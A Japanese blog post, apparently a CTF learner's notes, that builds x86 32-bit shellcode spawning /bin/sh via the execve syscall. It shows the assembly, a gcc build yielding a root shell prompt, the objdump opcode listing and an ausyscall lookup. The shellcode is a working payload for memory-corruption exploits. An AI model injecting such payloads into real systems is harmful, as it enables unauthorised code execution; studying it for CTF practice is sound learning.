/bin/shを起動するシェルコード(x86)

単純なオーバフローを起こすと解けるpwnは解けるようになってきた。 ただ、shellcodeが必要な問題だと、shellcodeをどこからか持ってこないといけない。 それだと応用が効かないので、shellcodeを作れるようになりたいと思う。 そのためにまずは、shellcodeとして使えるアセンブリのビルド方法を調べて試してみた。

以下はx86マシン(32bit)でshellを起動するアセンブリコード

# cat a.s
.intel_syntax noprefix # Intel記法を使うにはこの記述が必要らしい
.globl main
main:
        xor eax, eax    # eaxをゼロクリア
        push eax
        push 0x68732f2f # //sh ※エンディアン注意。影響のない"/"を追加して4バイトにしている、たぶん。
        push 0x6e69622f # /bin ※エンディアン注意
        mov ebx, esp
        push eax
        push ebx
        mov ecx, esp
        mov al, 0xb     # システムコール番号(11)の設定
        int 0x80        # システムコール(execve)

以下のようにgccで実行ファイルを生成可能。

# gcc -m32 a.s
# ./a.out
sh-4.2#

これをobjdumpしてあげるとshellcodeがわかる。

# objdump -d -Mintel a.out | grep -A10 \<main\>
080483ed <main>:
 80483ed:       31 c0                   xor    eax,eax
 80483ef:       50                      push   eax[f:id:boblice:20171017230645p:plain]
 80483f0:       68 2f 2f 73 68          push   0x68732f2f
 80483f5:       68 2f 62 69 6e          push   0x6e69622f
 80483fa:       89 e3                   mov    ebx,esp
 80483fc:       50                      push   eax
 80483fd:       53                      push   ebx
 80483fe:       89 e1                   mov    ecx,esp
 8048400:       b0 0b                   mov    al,0xb
 8048402:       cd 80                   int    0x80

レジスタとスタックの様子を図示してみた。レジスタとスタックに適切な値を設定してから、システムコール(int 0x80)を実行すればよいことがわかる。

f:id:boblice:20171018233325p:plain

なお、システムコール番号はausyscallコマンドで調べられる。

# ausyscall i686 --dump | grep '^11\s'
11      execve

以下のコードを参考に勉強させて頂きました。

Linux/x86 - execve /bin/sh shellcode - 23 bytes